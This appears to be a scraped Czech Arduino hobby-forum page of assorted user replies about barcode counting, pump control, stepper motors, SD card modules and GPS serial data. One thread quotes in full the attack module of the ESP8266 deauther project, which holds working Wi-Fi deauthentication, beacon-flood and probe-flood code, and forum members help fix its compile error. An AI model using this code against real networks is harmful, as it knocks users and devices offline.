nicolasoto
Vytvořené odpovědi
-
AutorPříspěvky
-
Mikky01
ÚčastníkDíky za reakce.
posjirka – vypadá to, že by to mohlo fungovat. Mrknu na to. Díky za nápad.
petan – Něco podobného bych potřeboval, jen se obávám (jen neznalost), že popsaná funkce RS232 klávesnice bude pomalá. Čtečka by měla sloužit pro výrobní linku kde se balí jednotlivé kusy a díky jedinečnému kódu ty kusy počítat. Jde to udělat i jednoduše pomocí nějakého optického senzoru, ale může se stát, že linka kus špatně zabalí a ten se pošle znovu. např.: mám 1000Ks – projedou linkou – 25ks je špatně zabaleno – pošlou se znovu – počítadlo zapíše 1025Ks – potřebuji mít na výstupu 1000Ks. Proto tohle řešení se čtečkou kódu.posjirka
Účastníkkdyž jsi takto na začátku, má cenu se do toho vlastně pouštět?
Spíš bych ti doporučil něco takového:
http://arduino-shop.cz/arduino/1238-digitalni-termostat-20-az-100-1458426591.html?gclid=Cj0KEQjwoqvIBRD6ls6og8qB77YBEiQAcqqHe8JphLULFxKeGgzYVm5Jui00vr55PfCujYs4q25b1BMaAoon8P8HAQOno naprogramovat se dá cokoliv, ale aby to spolehlivě fungovalo, tak je nutné znát možnosti a omezení. Pkud tam pojedeš jednou týdně, je nutné oštřit třeba zásek procesoru ať už pomocí WATCHDOG nebo nějáké nouzové automatiky.
To rozhodně není na 1 den.
Poku se tomu chceš věnovat, nastuduj si jak funguje elektrotechnika, prostuduj možnosti, rozvrhni funkce a jsi na správné cestě.Rozhodně tu nejsme pro zakázkové řešení pro veřejnost. Rádi ti tu pomůžeme, ale asi tu nenajdeš blázna co by to vyřešil všechno za tebe-…
yeti
ÚčastníkDěkuju za odpověď. Ano, mám v plánu začít s minimalizovanou verzí, nicméně nemám moc čas se vydávat slepými uličkami. Proto bych rád, kdyby mi někdo poradil konkrétní HW komponenty, které budu potřebovat.
Např. nenašel jsem v e-shopu žádné relé. Musím koupit jinde, nebo se dívám špatně? Nebo dále regulace teploty vody – potřebuji nastavit teplotu při které se čerpadlo zapne a při které se vypne. Tyto teploty já dopředu neznám, takže by bylo dobré mít možnost tyto teploty jednoduše naladit dle situace. Tzn. buď nějaké dva potenciometry, nebo jeden potenciometr a tlačítko, kterým by se přepla funkce potenciometru na druhou teplotu. Hrát se s tím dá asi do aleluja, ale já bych potřeboval aby to fungovalo. Bude to na místě, kam se dostanu jednou týdně a nemám čas každý týden o víkendu zjišťovat, že budu potřebovat ještě to a tamto…
Programování snad nebude problém, problém je koupit součástky, které potřebuji. V HW se moc nepohybuji a než bych všechno nastudoval, tak máme podzim…díky.
Miroslava
ÚčastníkOk vyriešila som to tak, že vždy keď nechcem používať motory použijem príkaz:
digitalWrite(EN, HIGH); //Low to enable
Vtedy sú motory voľné a opäť ak ich chcem používať stačí zmeniť pin EN na LOW 🙂posjirka
Účastníkbudes potrebovat arduino cidlo teploty a nejaky rele modul.
u tech cerpadel pozor na rozbehovy proud. aby to zvladl jak zdroj tak rele. ja takove cerpadlo mel a bral si 3A coz v DC neni malo.
programovani neni problem. dej tomu tyden casu a uvidis. v kazdem pripada je nutne mit konkretni predstavu co to ma delat a aspon v zacatku orezat vse na minimum. hodne komentovat, byt peclivy a hledat….Miroslava
Účastník+ sú to dva krokové motory NEMA17, napájam ich z 12V 1,5A adaptéra.. nikdy nebežia súčasne
Miroslava
ÚčastníkAhojte, pomohlo mi externé napájanie – ide ako má 🙂
petan
ÚčastníkTady něco je: https://www.youtube.com/watch?v=t5gkg645xGE Zdá se, že to funguje.
Jen pro zajímavost. K čemu by to mělo sloužit? Pokud to není tajný?
petan
ÚčastníkDělají se čtečky čárových kódu s RS232. Pak jednoduše vytvořit pole, ve kterém budou uložené načtené kódy. Kus projde čidlem, uloží se kód do mezipaměťi, porovná se z databází. Pokud už existuje nepřidá se, jinak ano. Připočte se kus a jede se dál. Rozhodně by to bylo zajímavé na velikost paměti a rychlost porovnání – ideálně nějaký optimalizace…třídění apod.). Asi bych se to nesnažil nacpat do nějakýho mrňavýho Arduina ve stylu Nano apod.
Problém akorát s tou čtečkou, protože s RS232 jsou dražší. Většinou fungují jako klávesnice. Načtený kód se jakoby napíše na klávesnici. Ale myslím, že jsem někde zahlídl jak připojit klávesnici k Arduinu. Takže by to bylo v podstatě stejný. Akorát by se místo portu obsluhovala nějaká knihovna na komunikaci s kliávesnicí.
posjirka
Účastníkobavam se že by to chtělo spíš raspbbery pi.
skener na čárový kod sice jde koupit i ve verzi pro arduino, ale levnější a standradní bude přes USB rozhraní, což Arduino moc nepodporuje. resp. podporuje sebe jako usb host nikoliv jako master. Na to jsou speciální shieldy, no ve výsledku tě to vyjde dráž než základní raspberry pi. Akorát to programování v pythonu 🙂
Do toho jsem ještě nepronikl.když se dívám na strýčka googla tak ej tam toho mraky. omlouvám se, nebudu to procházet, jen jsem si pustil první video a tam byla čtečka za pomocí webkamery.
mrkni na googla a uvidíš. Dej kdyžat vědět jak jsi dopadl:Zbyšek Voda
ÚčastníkJe to nějaké podivné. Když jsem program znovu zkompiloval, tak vyžaduje signaturu
int wifi_send_pkt_freedom(uint8 *buf, int len,bool sys_seq) (stejná je i v dokumentaci).Tedy buf má být opravdu jenom jednoduché pole. Tak jste to asi i na začátku měl, ale házelo to ten podivný error.
Nakonec se mi povedlo přes chybu dostat zápisem
if (wifi_send_pkt_freedom(packet, packetSize, 0) == -1) {
tak jste to ale asi na začátku měl, tak nevím.Btw. v kódu chybí funkce setup a loop, což se překladači taky nebude líbit.
Takto mi to hlásí jen chyby neexistující loop a setup funkce. https://codepaste.net/us7qgo.
Zbyšek Voda
ÚčastníkTak zkuste ještě wifi_send_pkt_freedom((uint8_t**)&packet, packetSize, 0)
nonosh
ÚčastníkTady popř. celý projekt … https://github.com/spacehuhn/esp8266_deauther
nonosh
ÚčastníkPo přidání & dostavám : cannot convert ‚uint8_t (*)[128] {aka unsigned char (*)[128]}‘ to ‚uint8** {aka unsigned char**}‘ for argument ‚1‘ to ‚int wifi_send_pkt_freedom(uint8**, int, bool)‘
Upřímně tomu nějak nerozumím a jsem z toho nemocný … přikládám kód :
#include „Attack.h“Attack::Attack() {
randomSeed(os_random());
}void Attack::generate() {
if (debug) Serial.print(„\n generating MACs…“);Mac _randomBeaconMac;
uint8_t _randomMacBuffer[6];
beaconAdrs._clear();for (int i = 0; i < macListLen; i++) channels[i] = random(1, maxChannel);
do {
getRandomVendorMac(_randomMacBuffer);
for (int i = 0; i < 6; i++) _randomBeaconMac.setAt(_randomMacBuffer[i], i);
} while (beaconAdrs.add(_randomBeaconMac) >= 0);
if (debug) Serial.println(„done“);
}void Attack::buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason) {
packetSize = 0;
for (int i = 0; i < sizeof(deauthPacket); i++) {
packet[i] = deauthPacket[i];
packetSize++;
}for (int i = 0; i < 6; i++) {
//set target (client)
packet[4 + i] = _client._get(i);
//set source (AP)
packet[10 + i] = packet[16 + i] = _ap._get(i);
}//set type
packet[0] = type;
packet[24] = reason;
}void Attack::buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt) {
packetSize = 0;
int ssidLen = _ssid.length();
if (ssidLen > 32) ssidLen = 32;for (int i = 0; i < sizeof(beaconPacket_header); i++) {
packet[i] = beaconPacket_header[i];
packetSize++;
}for (int i = 0; i < 6; i++) {
//set source (AP)
packet[10 + i] = packet[16 + i] = _ap._get(i);
}packet[packetSize] = 0x00;
packetSize++;
packet[packetSize] = ssidLen;
packetSize++;for (int i = 0; i < ssidLen; i++) {
packet[packetSize] = _ssid[i];
packetSize++;
}for (int i = 0; i < sizeof(beaconPacket_end); i++) {
packet[packetSize] = beaconPacket_end[i];
packetSize++;
}packet[packetSize] = _ch;
packetSize++;if (encrypt) {
for (int i = 0; i < sizeof(beaconWPA2tag); i++) {
packet[packetSize] = beaconWPA2tag[i];
packetSize++;
}
}}
void Attack::buildProbe(String _ssid, Mac _mac) {
int len = _ssid.length();
if (len > 32) len = 32;
packetSize = 0;for (int i = 0; i < sizeof(probePacket); i++) packet[packetSize + i] = probePacket[i];
packetSize += sizeof(probePacket);for (int i = 0; i < 6; i++) packet[10 + i] = _mac._get(i);
packet[packetSize] = len;
packetSize++;for (int i = 0; i < len; i++) packet[packetSize + i] = _ssid[i];
packetSize += len;}
bool Attack::send() {
if (wifi_send_pkt_freedom(&packet, packetSize, 0) == -1) {
/*
if(debug){
Serial.print(packetSize);
Serial.print(“ : „);
PrintHex8(packet, packetSize);
Serial.println(„“);
}
*/
return false;
}
delay(1); //less packets are beeing dropped
return true;
}void Attack::sendDeauths(Mac from, Mac to){
for(int i=0;i<settings.attackPacketRate;i++){
buildDeauth(from, to, 0xc0, settings.deauthReason );
if(send()) packetsCounter[0]++;
buildDeauth(from, to, 0xa0, settings.deauthReason );
send();
buildDeauth(to, from, 0xc0, settings.deauthReason );
send();
buildDeauth(to, from, 0xa0, settings.deauthReason );
send();
delay(5);
}
}void Attack::run() {
unsigned long currentMillis = millis();/* =============== Deauth Attack =============== */
if (isRunning[0] && currentMillis – prevTime[0] >= 1000) {
if (debug) Serial.print(„running “ + (String)attackNames[0] + “ attack…“);
prevTime[0] = millis();for (int a = 0; a < apScan.results; a++) {
if (apScan.isSelected(a)) {
Mac _ap;
int _ch = apScan.getAPChannel(a);
_ap.setMac(apScan.aps._get(a));wifi_set_channel(_ch);
int _selectedClients = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
_selectedClients++;
/*if (settings.channelHop) {
for (int j = 1; j < maxChannel; j++) {
wifi_set_channel(j);buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
if (send()) packetsCounter[0]++;buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
if (send()) packetsCounter[0]++;
}
} else {*/
sendDeauths(_ap, clientScan.getClientMac(i));
//}
}
}if (_selectedClients == 0) {
Mac _client;
_client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
sendDeauths(_ap, _client);
}}
}stati[0] = (String)packetsCounter[0] + „pkts/s“;
packetsCounter[0] = 0;
if (debug) Serial.println(“ done“);
if (settings.attackTimeout > 0) {
attackTimeoutCounter[0]++;
if (attackTimeoutCounter[0] > settings.attackTimeout) stop(0);
}
}/* =============== Beacon list Attack =============== */
if (isRunning[1] && currentMillis – prevTime[1] >= 100) {
if (debug) Serial.print(„running “ + (String)attackNames[1] + “ attack…“);
prevTime[1] = millis();for (int a = 0; a < ssidList.len; a++) {
String _ssid = ssidList.get(a);
int _ch = channels[a];buildBeacon(beaconAdrs._get(a), _ssid, _ch, settings.attackEncrypted);
if (send()) packetsCounter[1]++;
}stati[1] = (String)(packetsCounter[1] * 10) + „pkts/s“;
packetsCounter[1] = 0;
macListChangeCounter++;
if (macListChangeCounter / 10 >= macChangeInterval && macChangeInterval > 0) {
generate();
macListChangeCounter = 0;
}
if (debug) Serial.println(“ done“);
if (settings.attackTimeout > 0) {
attackTimeoutCounter[1]++;
if (attackTimeoutCounter[1] / 10 > settings.attackTimeout) stop(1);
}
}/* =============== Probe Request Attack =============== */
if (isRunning[2] && currentMillis – prevTime[2] >= 1000) {
if (debug) Serial.print(„running “ + (String)attackNames[2] + “ attack…“);
prevTime[2] = millis();for (int a = 0; a < ssidList.len; a++) {
buildProbe(ssidList.get(a), beaconAdrs._get(a));
if (send()) packetsCounter[2]++;
}stati[2] = (String)(packetsCounter[2] * 10) + „pkts/s“;
packetsCounter[2] = 0;
macListChangeCounter++;
if (macListChangeCounter >= macChangeInterval && macChangeInterval > 0) {
generate();
macListChangeCounter = 0;
}
if (debug) Serial.println(„done“);
if (settings.attackTimeout > 0) {
attackTimeoutCounter[2]++;
if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
}
}}
void Attack::start(int num) {
Serial.println(num);
if(!isRunning[num]) {
Serial.println(num);
isRunning[num] = true;
stati[num] = „starting“;
prevTime[num] = millis();_log(num);
attackTimeoutCounter[num] = 0;
refreshLed();
if (debug) Serial.println(„starting “ + (String)attackNames[num] + “ attack…“);
if (num == 0) attackMode = „STOP“;
for (int i = 0; i < attacksNum; i++){
if(i != num) stop(i);
}
}else stop(num);
}void Attack::stop(int num) {
if (isRunning[num]) {
if (debug) Serial.println(„stopping “ + (String)attackNames[num] + “ attack…“);
if (num == 0) attackMode = „START“;
isRunning[num] = false;
stati[num] = „ready“;
prevTime[num] = millis();
refreshLed();
}
}void Attack::stopAll() {
for (int i = 0; i < attacksNum; i++) stop(i);
}void Attack::_log(int num){
openLog();
addLog((String)attackNames[num]);
for(int a=0;a<apScan.results;a++){
if(apScan.isSelected(a)){
Mac _ap;
_ap.setMac(apScan.aps._get(a));
addLog(_ap.toString());
}
}
addLog(„-„);
for(int i=0;i<clientScan.results; i++) {
if(clientScan.getClientSelected(i)) {
addLog(clientScan.getClientMac(i).toString());
}
}
closeLog();
}size_t Attack::getSize(){
size_t jsonSize = 0;String json = „{\“aps\“:[„;
int _selected = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
json += „\““ + apScan.getAPName(i) + „\“,“;
_selected++;
}
}
if (_selected > 0) json.remove(json.length() – 1);jsonSize += json.length();
json = „],\“clients\“:[„;
_selected = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
_selected++;
}
}
if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
else json.remove(json.length() – 1);jsonSize += json.length();
json = „],\“attacks\“:[„;
for (int i = 0; i < attacksNum; i++) {
json += „{„;
json += „\“name\“:\““ + attackNames[i] + „\“,“;
json += „\“status\“:\““ + stati[i] + „\“,“;
json += „\“running\“:“ + (String)isRunning[i] + „“;
json += „}“;
if (i != attacksNum – 1) json += „,“;
}
json += „],“;
jsonSize += json.length();json = „\“ssid\“:[„;
jsonSize += json.length();
for (int i = 0; i < ssidList.len; i++) {
json = „\““ + ssidList.get(i) + „\““;
if (i != ssidList.len – 1) json += „,“;
jsonSize += json.length();
}json = „]}“;
jsonSize += json.length();return jsonSize;
}void Attack::sendResults(){
size_t _size = getSize();
if (debug) Serial.print(„getting attacks JSON („+(String)_size+“)…“);
sendHeader(200, „text/json“, _size);String json = „{\“aps\“:[„;
int _selected = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
json += „\““ + apScan.getAPName(i) + „\“,“;
_selected++;
}
}
if (_selected > 0) json.remove(json.length() – 1);
sendToBuffer(json);json = „],\“clients\“:[„;
_selected = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
json += „\““ + clientScan.getClientMac(i).toString() + “ “ + clientScan.getClientVendor(i) + “ – “ + clientScan.getClientName(i) + „\“,“;
_selected++;
}
}
if (_selected == 0) json += „\“FF:FF:FF:FF:FF:FF – BROADCAST\““;
else json.remove(json.length() – 1);sendToBuffer(json);
json = „],\“attacks\“:[„;
for (int i = 0; i < attacksNum; i++) {
json += „{„;
json += „\“name\“:\““ + attackNames[i] + „\“,“;
json += „\“status\“:\““ + stati[i] + „\“,“;
json += „\“running\“:“ + (String)isRunning[i] + „“;
json += „}“;
if (i != attacksNum – 1) json += „,“;
}
json += „],\“ssid\“:[„;
sendToBuffer(json);for (int i = 0; i < ssidList.len; i++) {
json = „\““ + ssidList.get(i) + „\““;
if (i != ssidList.len – 1) json += „,“;
sendToBuffer(json);
}
json = „]}“;
sendToBuffer(json);sendBuffer();
if (debug) Serial.println(„done“);
}void Attack::refreshLed() {
int numberRunning = 0;
for (int i = 0; i < sizeof(isRunning); i++) {
if (isRunning[i]) numberRunning++;
//if(debug) Serial.println(numberRunning);
}
if (numberRunning >= 1 && settings.useLed) {
if (debug) Serial.println(„Attack LED : ON“);
digitalWrite(2, LOW);
}
else if (numberRunning == 0 || !settings.useLed) {
if (debug) Serial.println(„Attack LED : OFF“);
digitalWrite(2, HIGH);
}
}Zbyšek Voda
ÚčastníkPoužíváte funkci int wifi_send_pkt_freedom(uint8**, int, bool);
Tato funkce má první parametr ukazatel na ukazatel na uint8. Popřípadě se dá také interpretovat jako pole ukazatelů na hodnoty typu uint8, nebo ukazatel na pole (což asi je případ, který potřebujete).Vy ale této funkci předáváte jenom pole, ale ne ukazatel na pole.
Řekněme, že máte něco jako:byte data[] = {1, 2, 3, 4, ...}; wifi_send_pkt_freedom(data, x, y);
Místo data zkuste zapsat &data, tedy:
wifi_send_pkt_freedom(&data, x, y);
Znak ampersand (&) značí, že chcete získat adresu dané proměnné. Ukazatele jsou vlastně adresy.
Většinou stačí přeložit hlášku:
cannot convert ‘uint8_t* {aka unsigned char*}’ to ‘uint8** {aka unsigned char**}’ for argument ‘1’ to ‘int wifi_send_pkt_freedom(uint8**, int, bool)’
můžete číst jako
Nejde převést uint8_t* na uint8** v prvním argumentu funkce wifi_send_pkt_freedom(uint8**, int, bool)
uint8_t* = ukazatel na typ uint8_t / pole uint8
uint8_t** = ukazatel na ukazatel na uint8_t / pole ukazatelů na uint8_t / ukazatel na pole uint8_tPokud to nepůjde, pošlete sem kód 🙂
Axamith
ÚčastníkDíky, testnu to. Ale myslím, že problém bude s modulem. Zkoušel jsem jak na UNO, tak na Wemos a Pro mini a vždy se stejným výsledkem. Originální příklady k SD modulu. takže objednám nový modul a uvidíme.
posjirka
Účastníkona je opravdu otázka jak to je zapojeno …. ať tady nehoníte duchy 🙂
ps. omezil bych ty 2 pole za 1 hodnotu BYTE se smyčkou FOR pro naplnění log.1/0RomanB
ÚčastníkJeště vyzkoušej test pinů 10-13 jestli jsou OK. Viz https://bastlirna.hwkitchen.cz/i-zaklady-2-bliknuti-led/ s tím, že ti bude stačit ta jedna LEDka a ty ji jenom přepojíš na další piny. A pin 12 bych ještě otestoval jako vstup. Pokud bude vše OK, tak to vypadá na mrtvou čtečku.
/*
Blikání
LED na sekundu zasvítí a pak zase na sekundu zhasne. Opakovaně.
*/// Pin 13 je na většině Arduino deskách spojen s LED
int led1 = 10;
int led2 = 11;
int led3 = 12;
int led4 = 13;void setup() {
// nastavení pinu na Output
pinMode(led1, OUTPUT);
pinMode(led2, OUTPUT);
pinMode(led3, OUTPUT);
pinMode(led4, OUTPUT);
}// opakujici se smyčka
void loop() {
digitalWrite(led1, HIGH); //zapnutí led
digitalWrite(led2, HIGH);
digitalWrite(led3, HIGH);
digitalWrite(led4, HIGH);delay(1000); // po dobu jedné sekundy
digitalWrite(led1, LOW); // vypnuti LED
digitalWrite(led2, LOW);
digitalWrite(led3, LOW);
digitalWrite(led4, LOW);delay(1000); // po dobu jedné sekundy
}Vojtěch Vosáhlo
ÚčastníkZdravím, kouknu na to zas co nejdřív, akorát mám teď hodně práce. Jen aby jste věděl že jsem nezapoměl ?
Axamith
ÚčastníkAbych minimalizoval problémy s různým pochopením HW a SW, omezil jsem testování na UNO a originální příklady ke knihovně. UNO, napájené přes USB, SD modul připojen na GND a 5V,
CS – PIN 10
MOSI – PIN 11
MISO – PIN 12
SCK – PIN 13Kartu 4 GB jsem naformátoval pomocí SD Card Formatter, nastavení :
Format type – Full (OverWrite) // i když by stačilo QUICK
Format size adjustment – OFFSketch dle příkladu z knihovky SD – CardInfo:
/*
SD card testThis example shows how use the utility libraries on which the‘
SD library is based in order to get info about your SD card.
Very useful for testing a card when you’re not sure whether its working or not.The circuit:
* SD card attached to SPI bus as follows:
** MOSI – pin 11 on Arduino Uno/Duemilanove/Diecimila
** MISO – pin 12 on Arduino Uno/Duemilanove/Diecimila
** CLK – pin 13 on Arduino Uno/Duemilanove/Diecimila
** CS – depends on your SD card shield or module.
Pin 4 used here for consistency with other Arduino examplescreated 28 Mar 2011
by Limor Fried
modified 9 Apr 2012
by Tom Igoe
*/
// include the SD library:
#include <SPI.h>
#include <SD.h>// set up variables using the SD utility library functions:
Sd2Card card;
SdVolume volume;
SdFile root;// change this to match your SD shield or module;
// Arduino Ethernet shield: pin 4
// Adafruit SD shields and modules: pin 10
// Sparkfun SD shield: pin 8
// MKRZero SD: SDCARD_SS_PIN
const int chipSelect = 10;void setup() {
// Open serial communications and wait for port to open:
Serial.begin(9600);
while (!Serial) {
; // wait for serial port to connect. Needed for native USB port only
}Serial.print(„\nInitializing SD card…“);
// we’ll use the initialization code from the utility libraries
// since we’re just testing if the card is working!
if (!card.init(SPI_HALF_SPEED, chipSelect)) {
Serial.println(„initialization failed. Things to check:“);
Serial.println(„* is a card inserted?“);
Serial.println(„* is your wiring correct?“);
Serial.println(„* did you change the chipSelect pin to match your shield or module?“);
return;
} else {
Serial.println(„Wiring is correct and a card is present.“);
}// print the type of card
Serial.print(„\nCard type: „);
switch (card.type()) {
case SD_CARD_TYPE_SD1:
Serial.println(„SD1“);
break;
case SD_CARD_TYPE_SD2:
Serial.println(„SD2“);
break;
case SD_CARD_TYPE_SDHC:
Serial.println(„SDHC“);
break;
default:
Serial.println(„Unknown“);
}// Now we will try to open the ‚volume’/’partition‘ – it should be FAT16 or FAT32
if (!volume.init(card)) {
Serial.println(„Could not find FAT16/FAT32 partition.\nMake sure you’ve formatted the card“);
return;
}// print the type and size of the first FAT-type volume
uint32_t volumesize;
Serial.print(„\nVolume type is FAT“);
Serial.println(volume.fatType(), DEC);
Serial.println();volumesize = volume.blocksPerCluster(); // clusters are collections of blocks
volumesize *= volume.clusterCount(); // we’ll have a lot of clusters
volumesize *= 512; // SD card blocks are always 512 bytes
Serial.print(„Volume size (bytes): „);
Serial.println(volumesize);
Serial.print(„Volume size (Kbytes): „);
volumesize /= 1024;
Serial.println(volumesize);
Serial.print(„Volume size (Mbytes): „);
volumesize /= 1024;
Serial.println(volumesize);Serial.println(„\nFiles found on the card (name, date and size in bytes): „);
root.openRoot(volume);// list all files in the card with date and size
root.ls(LS_R | LS_DATE | LS_SIZE);
}void loop(void) {
}
a výsledek:
Initializing SD card…initialization failed. Things to check:
* is a card inserted?
* is your wiring correct?
* did you change the chipSelect pin to match your shield or module?Pro klid duše jsem dal i nové propojovací kabely, vyzkoušel SS piny č. 4, 8, 10 (i když u UNA je jasné, že 4 a 8 je blbost), opět bez výsledku. Taková kravina jako SD karta a co já na tom strávil času … a bez výsledku.
RomanB
ÚčastníkJá vlastním Ethernet s SD a tam je použit pin 4. U tebe samozřejmě je možnost volby zapíchnutím drátku. Vyzkoušej také skeč z Arduina IDE, je tam v příkladěch pod SD. Je to vlastně to stejné jako ty zde cituješ, ale akorát je to počeštěno. Jediné co je špatně je:
// nastavte správně
// Arduino Ethernet shield: pin 4 – náš případ
// Adafruit SD shields and modules: pin 10
// Sparkfun SD shield: pin 8
const int chipSelect = SS;Má být const int chipSelect = 4; nebo jiný tebou použitý pin.
Zároveň zachovej a definuj tento pin v setupu
Serial.print(“\nInicializace SD karty…”);
pinMode(4, OUTPUT);A jaké používáš napětí? 5V nebo 3,3V
Axamith
ÚčastníkAhoj, mám čtečku Micro SD.
Použil jsem krom jiných tuto sketch:
// created 28 Mar 2011
// by Limor Fried
// modified 9 Apr 2012
// by Tom Igoe
// modifed 23.3.2013
// by Pavel Putna#include <SD.h>
// nastaví proměné pro info karty
Sd2Card card;
SdVolume volume;
SdFile root;// nastavte správně
// Arduino Ethernet shield: pin 4 – náš případ
// Adafruit SD shields and modules: pin 10
// Sparkfun SD shield: pin 8
const int chipSelect = SS;void setup()
{
Serial.begin(9600);Serial.print(„\nInicializace SD karty…“);
pinMode(4, OUTPUT);// inicializace
if (!card.init(SPI_HALF_SPEED, chipSelect)) {
Serial.println(„\nPametova karta nebyla detekovana“);
return;
} else {
Serial.println(„\nPametova karta nalezena.“);
}// Určí typ karty
Serial.print(„\nTyp karty: „);
switch(card.type()) {
case SD_CARD_TYPE_SD1:
Serial.println(„SD1“);
break;
case SD_CARD_TYPE_SD2:
Serial.println(„SD2“);
break;
case SD_CARD_TYPE_SDHC:
Serial.println(„SDHC“);
break;
default:
Serial.println(„Neznama“);
}// Now we will try to open the ‚volume’/’partition‘ – it should be FAT16 or FAT32
if (!volume.init(card)) {
Serial.println(„System souboru FAT16/FAT32 nenalezen.\nZkuste naformatovat kartu“);
return;
}// print the type and size of the first FAT-type volume
uint32_t volumesize;
Serial.print(„\nVolume type is FAT“);
Serial.println(volume.fatType(), DEC);
Serial.println();volumesize = volume.blocksPerCluster(); // clusters are collections of blocks
volumesize *= volume.clusterCount(); // we’ll have a lot of clusters
volumesize *= 512; // SD card blocks are always 512 bytes
Serial.print(„Volume size (bytes): „);
Serial.println(volumesize);
Serial.print(„Volume size (Kbytes): „);
volumesize /= 1024;
Serial.println(volumesize);
Serial.print(„Volume size (Mbytes): „);
volumesize /= 1024;
Serial.println(volumesize);Serial.println(„\nNalezene soubory na karte (nazev, datum a velikost v bajtech): „);
root.openRoot(volume);// list all files in the card with date and size
root.ls(LS_R | LS_DATE | LS_SIZE);
}void loop(void) {
}Čtečku jsem zkoušel jak na Pro mini, tak na UNO a Wemos D1. Vím, že je třeba definovat vstup na Arduinu pinu. Volba 4, 8, 10 (dle Arduina). NIC nejede, ani volba SS. Nebo spíš ji detekuje, nenajde FAT a veškeré pokusy s kartou z příkladů z knihoven nejedou, respektive s kartou nekomunikují. Koupil jsem i novou kartu, pro klid duše, pořád bez výsledků. Buď kartu nedetekuje, nebo ji detekuje a nerozpozná FAT16/32
RomanB
ÚčastníkTaké zdravím, jakou máš desku se čtečkou a použil jsi jenom program pro komunikaci s SD kartou?
posjirka
Účastníkpresne tak … z arduina se bere pouze maly proud pro sepnuti magnetu. podle popisu ma unest 1kg coz neni malo. jsi si jisty ze to co jsi chtel zvednout je zelezo a ne nejaka hlinikova slitina?
michal123
ÚčastníkDObrý večer,
nejspíš jsem nepochopil tu 1s pauzu.
Kód funguje pro blink ale už ne pro blink na jiných pinech. Když jsem se na komunikaci kouknul osciloskopem tak jsem zjistil, že arduino když nahrává tak 20,5ms čeká, pošle řídící kód, pak 16ms čeká a pak nahraje stránku a tak to opakuje. (ještě to pak všechno zpětně ověří)
Ale když se podívám na naše data tak, rídících kódů je tam zdáse víc (nevím co arduino neposílá nebo kde nečeká protože z toho nevyluštím konkrétní hodnoty.(případně pošlu nějaké obrázky), časem snad postavím další (arduino) pro paraelní čtení komunikace.petouf
ÚčastníkTak zase o krůček 🙂
Nedošlo mi (ale kolegovi naštěstí ano) že COM na PC používá drobet jiné úrovně, než Arduino. Asi bude potřeba převodník RS232-TTL Ten budu mít příští týden, tak dám vědět 🙂Zbyšek Voda
ÚčastníkNa úvodní stránce je formulář, kam dáte email a přijde vám kniha.
chevy.us
ÚčastníkZdravím.
Prosím jak se dostanu k odkazu na stažení e-knihy?
Na webu jsem to nikde nenašel. Pouze na domovské stránce info o této možnosti.
Díky předem za čas.petouf
ÚčastníkTak jo, opět o krůček vepředu. Přečetl jsem, co vysílá modul SKM53.
vysílá toto:
$GPGGA,055929.553,5003.5766,N,01430.6436,E,1,6,1.34,309.1,M,45.4,M,,*56
$GPGSA,A,3,02,05,07,09,16,30,,,,,,,1.61,1.34,0.89*0E
$GPGSV,3,1,10,07,71,079,28,30,60,203,34,05,46,299,37,09,45,089,26*70
$GPGSV,3,2,10,37,32,170,,02,25,250,30,13,11,272,,16,10,027,24*7B
$GPGSV,3,3,10,06,08,208,,28,08,163,*7A
$GPRMC,055929.553,A,5003.5766,N,01430.6436,E,0.36,99.88,260417,,,A*59Pak jsem přečetl, co mi vysílá simulátor na COM1 a vypadlo z něho toto:
[}ĹeMťť§ť§ź—§źť§źź§źźź§źź§ź›§źź§źźź§źź§ź™§źź§źźź§źź§ź—§źź§źźź§źź«‘Ťĺë
Tak už rozumim tomu, proč mi tento signál Arduino nebere. Zatím nepomohlo ani experimentování s rychlostmi, čert ví, kde je problém. V zapojení COM? To snad ne, tam jsou jen 3 dráty. No budu bádat dál, třebas na něco přijdu 🙂RomanB
Účastníkint latchPin = 4; int clockPin = 5; int dataPin = 6; int vstup = 7; //pridal jsem si vstup jako podminku int index=0; byte data[] = { B10000000, B11000000, B11100000, B11110000, B11111000, B11111100, B11111110, B11111111, }; byte data2[1] = { B11111111, }; unsigned long staryMillis = 0; const long interval = 800; unsigned long novyMillis = millis(); void setup() { Serial.begin(9600); pinMode(latchPin, OUTPUT); pinMode(clockPin, OUTPUT); pinMode(dataPin, OUTPUT); pinMode(vstup, INPUT_PULLUP); } void loop() { boolean podminka = digitalRead(vstup); //********************************************************************** unsigned long novyMillis = millis(); if (novyMillis - staryMillis >= interval && podminka==0) { staryMillis = novyMillis; digitalWrite(latchPin, LOW); shiftOut(dataPin, clockPin, MSBFIRST, data[index]); if (index > 6) { shiftOut(dataPin, clockPin, MSBFIRST, data[7]); index = 7; } digitalWrite(latchPin, HIGH); Serial.println(index); //Serial.println(staryMillis); //Serial.println(novyMillis); index=index+1; } //********************************************************************** if (novyMillis - staryMillis >= interval && podminka==1) { staryMillis = novyMillis; index = 0; digitalWrite(latchPin, LOW); shiftOut(dataPin, clockPin, MSBFIRST, data2[index]); Serial.println(index); //Serial.println(staryMillis); //Serial.println(novyMillis); } //********************************************************************** }//konec smycky
Vyzkoušej toto. Jako podmínku jsem použil tlačítko: 0 je stlačeno.
-
AutorPříspěvky